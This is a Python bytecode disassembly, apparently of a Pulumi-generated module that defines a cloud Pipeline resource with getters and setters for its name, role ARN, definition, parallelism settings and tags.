BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition_s3_location at 0x7fab82258b70, file "f.py", line 123> LOAD_CONST 'PipelineArgs.pipeline_definition_s3_location' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition_s3_location LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDescription' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_description at 0x7fab82258e40, file "f.py", line 129> LOAD_CONST 'PipelineArgs.pipeline_description' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_description LOAD_NAME pipeline_description LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_description at 0x7fab82258f60, file "f.py", line 137> LOAD_CONST 'PipelineArgs.pipeline_description' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_description LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'roleArn' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object role_arn at 0x7fab822584b0, file "f.py", line 141> LOAD_CONST 'PipelineArgs.role_arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME role_arn LOAD_NAME role_arn LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object role_arn at 0x7fab822589c0, file "f.py", line 149> LOAD_CONST 'PipelineArgs.role_arn' MAKE_FUNCTION CALL_FUNCTION STORE_NAME role_arn LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab82258390, file "f.py", line 153> LOAD_CONST 'PipelineArgs.tags' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME tags LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab82258420, file "f.py", line 161> LOAD_CONST 'PipelineArgs.tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_display_name' LOAD_FAST pipeline_display_name CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_name' LOAD_FAST pipeline_name CALL_METHOD POP_TOP LOAD_FAST parallelism_configuration LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'parallelism_configuration' LOAD_FAST parallelism_configuration CALL_METHOD POP_TOP LOAD_FAST pipeline_definition LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_definition' LOAD_FAST pipeline_definition CALL_METHOD POP_TOP LOAD_FAST pipeline_definition_s3_location LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_definition_s3_location' LOAD_FAST pipeline_definition_s3_location CALL_METHOD POP_TOP LOAD_FAST pipeline_description LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_description' LOAD_FAST pipeline_description CALL_METHOD POP_TOP LOAD_FAST role_arn LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'role_arn' LOAD_FAST role_arn CALL_METHOD POP_TOP LOAD_FAST tags LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'tags' LOAD_FAST tags CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_display_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_display_name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'parallelism_configuration' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'parallelism_configuration' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_definition' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_definition' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_definition_s3_location' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_definition_s3_location' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_description' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_description' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'role_arn' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'role_arn' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'tags' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_PipelineState' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('arn', 'parallelism_configuration', 'pipeline_definition', 'pipeline_definition_s3_location', 'pipeline_description', 'pipeline_display_name', 'pipeline_name', 'role_arn', 'tags', 'tags_all') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('arn', 'parallelism_configuration', 'pipeline_definition', 'pipeline_definition_s3_location', 'pipeline_description', 'pipeline_display_name', 'pipeline_name', 'role_arn', 'tags', 'tags_all') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab822586f0, file "f.py", line 168> LOAD_CONST '_PipelineState.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arn at 0x7fab82258540, file "f.py", line 227> LOAD_CONST '_PipelineState.arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME arn LOAD_NAME arn LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arn at 0x7fab82258780, file "f.py", line 235> LOAD_CONST '_PipelineState.arn' MAKE_FUNCTION CALL_FUNCTION STORE_NAME arn LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'parallelismConfiguration' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object parallelism_configuration at 0x7fab8239a930, file "f.py", line 239> LOAD_CONST '_PipelineState.parallelism_configuration' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME parallelism_configuration LOAD_NAME parallelism_configuration LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object parallelism_configuration at 0x7fab8239adb0, file "f.py", line 249> LOAD_CONST '_PipelineState.parallelism_configuration' MAKE_FUNCTION CALL_FUNCTION STORE_NAME parallelism_configuration LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDefinition' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition at 0x7fab8239ad20, file "f.py", line 255> LOAD_CONST '_PipelineState.pipeline_definition' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition LOAD_NAME pipeline_definition LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition at 0x7fab8239a8a0, file "f.py", line 263> LOAD_CONST '_PipelineState.pipeline_definition' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDefinitionS3Location' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition_s3_location at 0x7fab80107030, file "f.py", line 267> LOAD_CONST '_PipelineState.pipeline_definition_s3_location' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition_s3_location LOAD_NAME pipeline_definition_s3_location LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_definition_s3_location at 0x7fab801070c0, file "f.py", line 277> LOAD_CONST '_PipelineState.pipeline_definition_s3_location' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_definition_s3_location LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDescription' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_description at 0x7fab80107150, file "f.py", line 283> LOAD_CONST '_PipelineState.pipeline_description' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_description LOAD_NAME pipeline_description LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_description at 0x7fab801071e0, file "f.py", line 291> LOAD_CONST '_PipelineState.pipeline_description' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_description LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineDisplayName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_display_name at 0x7fab80107270, file "f.py", line 295> LOAD_CONST '_PipelineState.pipeline_display_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_display_name LOAD_NAME pipeline_display_name LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_display_name at 0x7fab80107300, file "f.py", line 303> LOAD_CONST '_PipelineState.pipeline_display_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_display_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pipelineName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_name at 0x7fab80107390, file "f.py", line 307> LOAD_CONST '_PipelineState.pipeline_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pipeline_name LOAD_NAME pipeline_name LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pipeline_name at 0x7fab80107420, file "f.py", line 315> LOAD_CONST '_PipelineState.pipeline_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pipeline_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'roleArn' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object role_arn at 0x7fab801074b0, file "f.py", line 319> LOAD_CONST '_PipelineState.role_arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME role_arn LOAD_NAME role_arn LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object role_arn at 0x7fab80107540, file "f.py", line 327> LOAD_CONST '_PipelineState.role_arn' MAKE_FUNCTION CALL_FUNCTION STORE_NAME role_arn LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab801075d0, file "f.py", line 331> LOAD_CONST '_PipelineState.tags' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME tags LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab80107660, file "f.py", line 339> LOAD_CONST '_PipelineState.tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'tagsAll' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags_all at 0x7fab801076f0, file "f.py", line 343> LOAD_CONST '_PipelineState.tags_all' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags_all LOAD_NAME tags_all LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags_all at 0x7fab80107780, file "f.py", line 354> LOAD_CONST '_PipelineState.tags_all' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags_all LOAD_CONST None RETURN_VALUE LOAD_FAST arn LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'arn' LOAD_FAST arn CALL_METHOD POP_TOP LOAD_FAST parallelism_configuration LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'parallelism_configuration' LOAD_FAST parallelism_configuration CALL_METHOD POP_TOP LOAD_FAST pipeline_definition LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_definition' LOAD_FAST pipeline_definition CALL_METHOD POP_TOP LOAD_FAST pipeline_definition_s3_location LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_definition_s3_location' LOAD_FAST pipeline_definition_s3_location CALL_METHOD POP_TOP LOAD_FAST pipeline_description LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_description' LOAD_FAST pipeline_description CALL_METHOD POP_TOP LOAD_FAST pipeline_display_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_display_name' LOAD_FAST pipeline_display_name CALL_METHOD POP_TOP LOAD_FAST pipeline_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pipeline_name' LOAD_FAST pipeline_name CALL_METHOD POP_TOP LOAD_FAST role_arn LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'role_arn' LOAD_FAST role_arn CALL_METHOD POP_TOP LOAD_FAST tags LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'tags' LOAD_FAST tags CALL_METHOD POP_TOP LOAD_FAST tags_all LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Please use `tags` instead.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_ATTR log LOAD_METHOD warn LOAD_CONST 'tags_all is deprecated: Please use `tags` instead.' CALL_METHOD POP_TOP LOAD_FAST tags_all LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'tags_all' LOAD_FAST tags_all CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'arn' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'arn' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'parallelism_configuration' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'parallelism_configuration' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_definition' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_definition' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_definition_s3_location' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_definition_s3_location' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_description' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_description' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_display_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_display_name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pipeline_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pipeline_name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'role_arn' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'role_arn' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'tags' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Please use `tags` instead.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_ATTR log LOAD_METHOD warn LOAD_CONST 'tags_all is deprecated: Please use `tags` instead.' CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags_all' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'tags_all' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Pipeline' STORE_NAME __qualname__ LOAD_NAME overload LOAD_CONST (None, None, None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'PipelineParallelismConfigurationArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'PipelinePipelineDefinitionS3LocationArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'parallelism_configuration', 'pipeline_definition', 'pipeline_definition_s3_location', 'pipeline_description', 'pipeline_display_name', 'pipeline_name', 'role_arn', 'tags') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab801078a0, file "f.py", line 360> LOAD_CONST 'Pipeline.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME overload LOAD_CONST (None,) LOAD_NAME str LOAD_NAME PipelineArgs LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_CONST ('resource_name', 'args', 'opts') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab80107930, file "f.py", line 424> LOAD_CONST 'Pipeline.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ 